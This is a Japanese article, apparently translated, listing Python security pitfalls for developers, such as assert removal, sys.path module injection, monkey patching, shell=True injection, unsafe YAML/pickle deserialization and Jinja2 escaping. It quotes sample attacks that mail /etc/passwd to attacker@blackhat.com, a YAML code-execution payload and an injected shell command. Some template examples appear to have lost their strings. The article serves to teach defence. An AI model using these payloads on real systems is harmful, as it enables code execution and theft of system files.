Pythonに咬まれるな : 注意すべきセキュリティリスクのリスト

Pythonは、習得が容易で、より大きく複雑なアプリケーションの開発にすぐに適用していけることから、コンピューティング環境に広く普及し、勢いを強めています。ただ、あまりに明瞭で親しみやすい言語なので、ソフトウェアエンジニアやシステムアドミニストレータが警戒を解いてしまい、セキュリティに重大な影響を及ぼすコーディングミスを誘発する可能性はあるかもしれません。主に、初めてPythonを使う人を対象とするこの記事では、この言語のセキュリティ関連のクセに触れます。ベテラン開発者にとってもその特異性を意識するきっかけになればと思います。

入力関数

Python 2に多数存在するビルトイン関数の中で、inputはセキュリティの面で完全に難点です。この関数をひとたび呼び出すと、標準入力から読み込んだものが即座にPythonコードとして評価されます。

   $ python2
    >>> input()
    dir()
    ['__builtins__', '__doc__', '__name__', '__package__']
   >>> input()
   __import__('sys').exit()
   $

inputは、スクリプトの標準入力のデータが完全に信頼できるものでない限り、決して使うべきでないのは明らかです。Python 2のドキュメントは、安全な代替手段としてraw_inputを推奨しています。Python 3では、inputraw_inputと同等になり、この欠点は修正されています。

assert文

Pythonアプリケーションには、assert文を使って不可能な条件をキャッチするコーディングイディオムがあります。

   def verify_credentials(username, password):
       assert username and password, 'Credentials not supplied by caller'

       ... authenticate possibly null user with null password ...

しかし、Pythonは、ソースコードを最適なバイトコードへコンパイルする(例えばpython -O)際、assert文の命令を生成しません。プログラマがコードに組み入れた誤った形式のデータに対する防御策も、知らぬ間に削除し、アプリケーションを攻撃にさらしてしまいます。

この欠点の根本原因は、assertメカニズムが、C++言語がそうだったように、純粋にテスト目的で設計されているためです。データの整合性を保証するためには、プログラマは別の方法を使わねばなりません。

再利用可能な整数

Pythonではすべてがオブジェクトです。すべてのオブジェクトはid関数で読み取れる固有のIDを持っています。2つの変数または属性が同じオブジェクトを指しているかどうかを判断するには、is演算子を使います。整数はオブジェクトなので、is演算は実際に以下のようになるよう定義されています。

    >>> 999+1 is 1000
    False

もし上記の計算結果に驚いたなら、is演算子は2つのオブジェクトのIDに対して機能することを思い出してください。つまり、この演算子は数やその他の値を比べるものではありません。しかし別の事例もあります。

    >>> 1+1 is 2
    True

この挙動を説明すると、「Pythonは、最初の数百個の整数を表すオブジェクトをプールとして保持しており、それを再利用することでメモリの節約やオブジェクト生成の省略を行っている」ということです。さらに事態をややこしくしているのは、その”小さな整数”の定義がPythonのバージョンによって異なることです。

ここでの緩和策は、is演算子を値の比較には絶対に使わないことです。is演算子は、オブジェクトIDの扱いに特化して設計されています。

浮動小数点数の比較

浮動小数点数の利用は、本来精度が限られていることと、10進数表現と2進数表現の違いから、複雑に感じるかもしれません。よくある混乱の原因は、時おり浮動少数点数の比較が予期しない結果を生み出すことです。誰もが知る例を挙げましょう。

>>> 2.2 * 3.0 == 3.3 * 2.0
False

上記の現象は、完全に丸め誤差の影響です。つまり次のような計算の結果です。

>>> (2.2 * 3.0).hex()
'0x1.a666666666667p+2'
>>> (3.3 * 2.0).hex()
'0x1.a666666666666p+2'

もう1つ面白い所見は、無限という概念をサポートするPythonのfloat型に関係することです。この概念によって、すべては無限よりは小さい、という理論ができます。

  >>> 10**1000000 > float('infinity')
  False

しかし、Python 3では、無限よりも型オブジェクトが強くなっています。

  >>> float > float('infinity')
  True

最善の緩和策は、可能な限り整数計算を使い通すことです。次善の策として、decimal stdlibモジュールを使うのもよいでしょう。煩わしい詳細と危険な不具合からユーザを守る盾になります。

基本的に、計算処理を元に重要な決断が行われる時は、丸め誤差の餌食にならないよう気をつけるべきです。Pythonドキュメントの「浮動小数点演算、その問題と制限」の項を確認してください。

プライベート属性

Pythonは、オブジェクト属性の秘匿をサポートしていません。しかし、属性名の最初にアンダースコアを2つ追加することによるマングリング機能を活かした回避策があります。属性名の変更はコードに対してのみ起こりますが、文字列定数内にハードコーディングされた属性名は変化しません。これによって、アンダースコアを2つ付記された属性がgetattr()/hasattr()関数から見かけ上”隠れて”いると、混乱を招くふるまいにつながることがあります。

   >>> class X(object):
   ...   def __init__(self):
   ...     self.__private = 1
   ...   def get_private(self):
   ...     return self.__private
   ...   def has_private(self):
   ...     return hasattr(self, '__private')
   ... 
   >>> x = X()
   >>>
   >>> x.has_private()
   False
   >>> x.get_private()
   1

このプライバシー機構が動作するよう、クラス定義以外の部分では属性のマングリングは実行されません。それにより、ダブルアンダースコアを付記された属性は全て、参照されている場所次第で効率的に2つに”分離”されます。

   >>> class X(object):
   ...   def __init__(self):
   ...     self.__private = 1
   >>>
   >>> x = X()
   >>>
   >>> x.__private
   Traceback
   ...
   AttributeError: 'X' object has no attribute '__private'
   >>>
   >>> x.__private = 2
   >>> x.__private
   2
   >>> hasattr(x, '__private')
   True

プログラマが、コード上の重要な決断の実行の際、プライベート属性の非対称のふるまいに注意を払わずにダブルアンダースコアに頼った場合、これらのクセはセキュリティ上の欠点になり得ます。

モジュールインジェクション

Pythonのモジュールインポートシステムは強力で複雑です。モジュールとパッケージは、sys.pathリストで定義されている検索パスでファイル名かディレクトリ名を特定し、インポートできます。検索パスの初期化は難解なプロセスであり、これもPythonのバージョン、プラットフォーム、ローカル設定に依存しています。Pythonアプリケーションに有効な攻撃を仕掛けるために、攻撃者は、「Pythonがモジュールをインポートしようとする際に検討するディレクトリやインポート可能なパッケージファイルに、悪意のあるPythonモジュールを忍び込ませる」という方法を探らなければなりません。

緩和策は、セキュアなアクセスパーミッションを検索パス内のすべてのディレクトリ、パッケージファイルにおいて維持し、管理者以外のユーザに書き込み権限を与えないようにすることです。Pythonインタプリタを呼び出す最初のスクリプトが存在するディレクトリは自動的に検索パスに挿入されることに注意してください。

次のようなスクリプトを実行すると、実際の検索パスが分かります。

$ cat myapp.py
#!/usr/bin/python

import sys
import pprint

pprint.pprint(sys.path)

Windowsプラットフォームでは、スクリプトの場所の代わりに、Pythonのプロセスのカレントワーキングディレクトリが検索パスに注入されます。UNIXプラットフォームでは、カレントワーキングディレクトリは、プログラムコードが標準入力やコマンドラインから読み込まれる(”-” や “-c” や “-m” options)たび、自動的にsys.pathに挿入されます。

$ echo "import sys, pprint; pprint.pprint(sys.path)" | python -
['',
 '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
 '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
 ...]
$ python -c 'import sys, pprint; pprint.pprint(sys.path)'
['',
 '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
 '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
 ...]
$
$ cd /tmp
$ python -m myapp
['',
 '/usr/lib/python3.3/site-packages/pip-7.1.2-py3.3.egg',
 '/usr/lib/python3.3/site-packages/setuptools-20.1.1-py3.3.egg',
 ...]

カレントワーキングディレクトリからのモジュールインジェクションのリスクを軽減させるには、WindowsでPythonを走らせたり、コマンドラインでコードを渡したりする前に、明示的にディレクトリを安全なものに変更することを勧めます。

もう1つ可能性のある検索パスのソースは、$PYTHONPATH環境変数のコンテンツです。プロセス環境からのsys.pathポピュレーションに対する簡単な緩和策は、Pythonインタープリタに-Eを選び、$PYTHONPATH変数を無視することです。

インポートにおけるコード実行

import文はインポートされるモジュールのコードを実際に実行するのですが、このことは一見わかりにくいかもしれません。不審なモジュールやパッケージのインポートが危険なのはそれが理由です。次のようにモジュールをインポートすると、不幸な結果につながる可能性があります。

$ cat malicious.py
import os
import sys

os.system('cat /etc/passwd | mail attacker@blackhat.com')

del sys.modules['malicious']  # pretend it's not imported
$ python
>>> import malicious
>>> dir(malicious)
Traceback (most recent call last):
NameError: name 'malicious' is not defined

sys.pathエントリインジェクション攻撃と組み合わさると、システムにさらなる抜け道が開いてしまう可能性があります。

モンキーパッチ

実行時にPythonのオブジェクト属性を変更するプロセスはモンキーパッチと呼ばれています。Pythonは動的な言語なので、実行時のプログラムのイントロスペクションやコードのミューテーションをフルにサポートしています。いったん何らかの方法で悪意のあるモジュールがインポートされると、プログラマの同意なしに、既存のあらゆる可変オブジェクトがさりげなくモンキーパッチされたりします。次の例を見てください。

$ cat nowrite.py
import builtins

def malicious_open(*args, **kwargs):
   if len(args) > 1 and args[1] == 'w':
      args = ('/dev/null',) + args[1:]
   return original_open(*args, **kwargs)

original_open, builtins.open = builtins.open, malicious_open

上記のコードがPythonインタプリタによって実行されると、ファイルへの書き込みは一切ファイルシステムに格納されません。

>>> import nowrite
>>> open('data.txt', 'w').write('data to store')
5
>>> open('data.txt', 'r')
Traceback (most recent call last):
...
FileNotFoundError: [Errno 2] No such file or directory: 'data.txt'

アタッカーはPythonのガベージコレクタ(gc.get_objects())を活用し、既存のすべてのオブジェクトを取得し、どれでもハッキングできるようになってしまいます。

Python 2では、魔法の__builtins__モジュールを経由することで、ビルトインオブジェクトをアクセス手段に使えます。世界を終焉に導きかねない、誰もが知るトリックは、下記のように__builtins__の可変性につけ込むものです。

>>> __builtins__.False, __builtins__.True = True, False
>>> True
False
>>> int(True)
0

Python 3ではTrueFalseへの代入は効かないため、上述のようには操作できません。

Pythonにおいて関数は第一級オブジェクトなので、関数の数多くのプロパティへの参照を保持しています。とりわけ、実行可能なバイトコードは__code__属性によって参照されており、これももちろん変更可能です。

>>> import shutil
>>>
>>> shutil.copy
<function copy at 0x7f30c0c66560>
>>> shutil.copy.__code__ = (lambda src, dst: dst).__code__
>>>
>>> shutil.copy('my_file.txt', '/tmp')
'/tmp'
>>> shutil.copy
<function copy at 0x7f30c0c66560>
>>>

上記のモンキーパッチが一度適用されると、shutil.copy関数がなお正常に見えるのにも関わらず、無演算のラムダ関数コードが設定されているため、いつの間にかその動作を止めてしまいます。

Pythonオブジェクトの型は__class__によって決まります。極悪な攻撃者は、動作中のオブジェクトの型を変えるという最終手段によって、すべてを絶望的に破壊することも可能なのです。

>>> class X(object): pass
...
>>> class Y(object): pass
...
>>> x_obj = X()
>>> x_obj
<__main__.X object at 0x7f62dbe5e010>
>>> isinstance(x_obj, X)
True
>>> x_obj.__class__ = Y
>>> x_obj
<__main__.Y object at 0x7f62dbe5d350>
>>> isinstance(x_obj, X)
False
>>> isinstance(x_obj, Y)
True
>>>

悪意のあるモンキーパッチに抵抗する方法は、インポートするPythonモジュールの信頼性と整合性を確かめることだけです。

サブプロセス経由のシェルインジェクション

グルー言語の1つとして、Pythonスクリプトでは、システム管理タスクを他のプログラムに委任するのは非常によくあることです。OSにそれらの実行を依頼したり、時には追加パラメータを提供したりします。subprocessモジュールがあれば、そのようなタスクを簡単かつハイレベルで進めることができます。

>>> from subprocess import call
>>>
>>> unvalidated_input = '/bin/true'
>>> call(unvalidated_input)
0

しかしそこに罠があります。コマンドラインパラメータの拡張などのUNIXのシェルサービスを利用するためには、call関数に対するshellキーワード引数はTrueにしなければなりません。すると、call関数への最初の引数は、さらなるパースと解釈のため、そのままシステムシェルに渡されます。権限のないユーザインプットがcall関数(あるいは、subprocessモジュールに実装された他の関数)に到達すると、下層のシステムリソースへの抜け穴が開きます。

>>> from subprocess import call
>>>
>>> unvalidated_input = '/bin/true'
>>> unvalidated_input += '; cut -d: -f1 /etc/passwd'
>>> call(unvalidated_input, shell=True)
root
bin
daemon
adm
lp
0

shellキーワード品数をデフォルトのFalseのままにしておかない」「コマンドとそのパラメータをベクターとしてsubprocessの関数に渡す」という方法で、外部コマンド実行のためにUNIXシェルを起動させないほうが明らかに安全です。この2つ目の起動方法では、コマンドやパラメータがシェルによって解釈されたり、拡張されたりすることはありません。

>>> from subprocess import call
>>>
>>> call(['/bin/ls', '/tmp'])

アプリケーションの特性でUNIXシェルのサービスを使うかどうかが決まる場合は、不要なシェルの機能が悪意のあるユーザに利用されないように、subprocessで実行されるデータを全てサニタイジングすることが非常に重要です。比較的新しいバージョンのPythonでは、シェルの標準ライブラリにあるshlex.quote関数で、シェルをエスケープできます。

一時ファイル

多くのプログラミング言語で、一時ファイルの不適切な使用に基づく脆弱性が指摘されているにも関わらず、Pythonのスクリプトでは未だに驚くほど普通に一時ファイルが使用されています。ですから一時ファイルについても、ここで言及するべきでしょう。

この種の脆弱性によって(中間的な段階も含めて)セキュアでないファイルシステムアクセス権限が生じ、最終的にはデータの機密性や完全性に関する問題が生じます。一般的な問題についての詳細はCWE-377をご覧ください。

幸いにも、Pythonは標準ライブラリであるtempfileモジュールとともにインストールされており、このモジュールは”可能な限り安全な方法”で一時ファイルの名前を付ける高レベルの関数を有しています。欠陥があるにも関わらず、後方互換性を保つために未だにライブラリ内に存在するtempfile.mktempの実装には注意してください。tempfile.mktemp関数は決して使ってはいけません。ファイルを閉じてしまった後も作業を継続するために一時ファイルが必要な場合は、代わりにtempfile.TemporaryFile,、もしくはtempfile.mkstempを使ってください。

偶発的に脆弱性を引き起こす別の要因として可能性があるのは、shutil.copyfile関数の使用です。ここでの問題点は、行先となるファイルが最も危険な方法で生成されるというものです。

セキュリティに詳しい開発者は、まずランダムな名前の一時ファイルにソースファイルをコピーして、それから一時ファイルをリネームしようと考えるかもしれません。これは名案に思えますが、shutil.move関数をリネームに利用しようとすると安全ではない状態になってしまいます。どんな問題が発生するかというと、最終ファイルの属さないファイルシステム上に一時ファイルが生成された場合、shutil.moveは原子的・不可分的なファイル移動(os.renameを介する)に失敗し、安全ではないshutil.copyを暗黙のうちに用いてしまうのです。os.renameではファイルシステムの境界を超える操作で明示的にエラーが出ることが保証されているので、shutil.moveではなくos.renameを使えば危険性が緩和されるでしょう。

さらにややこしくなるかもしれない原因として、「shutil.copyでは全てのファイルのメタデータをコピーできないため、生成したファイルが保護されないままになる可能性がある」というものが挙げられます。

これらはPythonに限ったことではありませんが、主流ではないファイルシステム、特にリモートファイルシステム上でファイルを変更した場合は注意が必要です。データの完全性の保証は、ファイルアクセスのシリアライズという領域では変化する傾向があります。例えば、NFSv2ではopenシステムコールのフラグO_EXCLをサポートしていません。これはアトミックなファイルの生成に影響を与えます。

安全でないデシリアライズ

データをシリアライズする技術は数多く存在しますが、その中でもPickleは、特にPythonのオブジェクトをシリアライズ/デシリアライズするために作られました。その目的は、保存や転送のためにPythonのライブオブジェクトをoctet-streamの中にダンプし、Pythonの他のインスタンスなどでもう一度再構築することです。シリアライズしたデータを変更した場合、再構築のステップには基本的に危険が伴います。Pickleの危険性はよく知られていて、Pythonのドキュメントでも明確に記されています。

YAMLは人気のある設定ファイルのフォーマットですが、必ずしもデシリアライザを操って任意のコードを実行させることができる強力なシリアライゼーションのプロトコルだと考えられているわけではありません。実際のデフォルトYAMLをPythonに実装すると、危険が増します。PyYAMLでは、デシリアライゼーションが全く無害のように見えるためです。

>>> import yaml
>>>
>>> dangerous_input = """
... some_option: !!python/object/apply:subprocess.call
...   args: [cat /etc/passwd | mail attacker@blackhat.com]
...   kwds: {shell: true}
... """
>>> yaml.load(dangerous_input)
{'some_option': 0}

しかし、実は/etc/passwdが盗まれています。推奨される解決方法は、信用できないYAMLのシリアライゼーションを扱うときは、常にyaml.safe_loadを使うことです。似たような目的を安全な方法で達成でき、dump/loadという関数名が使われることの多い他のシリアライゼーションライブラリを考慮すると、最新のデフォルトPyYAMLには少しイライラします。

テンプレートエンジン

Webアプリケーションの制作者は、長年Pythonを利用しています。この10年間で、非常に数多くのWebフレームワークが開発されました。その多くが、テンプレートエンジンを使い、テンプレートやランタイム変数を利用して動的なWebコンテンツを生成しています。Webアプリケーション以外にも、AnsibleというIT自動化ツールなど、全く異なるソフトウェアでもテンプレートエンジンは活用されています。

コンテンツが静的なテンプレートとランタイム変数からレンダリングされた場合、ランタイム変数を通してユーザが制御するコードインジェクション攻撃を受ける危険があります。Webアプリケーションを標的にした攻撃に成功するとクロスサイトスクリプティングと呼ばれる脆弱性が生まれます。普通、サーバ側のテンプレートインジェクションを防ぐためには、テンプレート変数のコンテンツを最終的なドキュメントに挿入する前にサニタイズします。サニタイゼーションは、指定されたマークアップ言語/ドメイン特化言語に特有の文字を拒否・削除・エスケープすることによって行われます。

残念なことに、テンプレートエンジンのセキュリティが強化される傾向は見られません。最も人気がある実装を見ると、デフォルトでエスケーピングのメカニズムを備えているツールはなく、開発者のセキュリティへの意識に委ねられています。

例えば、最も人気のあるツールの1つ、Jinja2は全てをレンダリングします。

>>> from jinja2 import Environment
>>>
>>> template = Environment().from_string('')
>>> template.render(variable='')
''

デフォルトの設定を変更し、数多くあるエスケーピングメカニズムの中の1つを明示的に行わない限り、このレンダリングは続きます。

>>> from jinja2 import Environment
>>>
>>> template = Environment(autoescape=True).from_string('')
>>> template.render(variable='')
'&lt;script&gt;do_evil()&lt;/script&gt;'

「プログラマがテンプレート変数を全くサニタイズしたがらず、意図的に潜在的に危険なコンテンツをそのまま残している」というユースケースでは、更にややこしくなります。テンプレートエンジンは、個々の変数の中身をプログラマが明示的にサニタイズするための、”フィルター”を導入する必要があります。Jinja2はさらに、デフォルトでテンプレートごとにエスケーピング有無の変更できる仕掛けも提供しています。

マークアップ言語タグのサブセットだけをエスケーピングすることを開発者が選んだ場合は、第三者が合法的に最終ドキュメントに忍び込むことが可能になり、脆弱性や複雑さが増します。

まとめ

このブログは、潜在的なトラップやPythonのエコシステムに特化した欠点を包括的にリストアップしようとして書いたわけではありません。Pythonでプログラミングを始めれば1度は出くわすであろう、セキュリティに関する危険性の注意喚起が目的です。これにより、プログラミングがもっと楽しく、私たちの生活がより安全になればいいなと願っています。